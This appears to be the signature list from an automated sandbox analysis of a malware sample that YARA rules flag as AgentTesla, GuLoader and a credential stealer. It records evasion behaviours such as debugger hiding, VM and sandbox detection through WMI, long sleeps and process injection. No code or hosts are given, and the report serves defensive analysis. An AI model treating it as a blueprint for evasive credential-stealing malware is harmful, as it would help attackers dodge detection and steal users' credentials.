Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
Hides threads from debuggers
Writes to foreign memory regions
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
AV process strings found (often used to terminate AV products)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
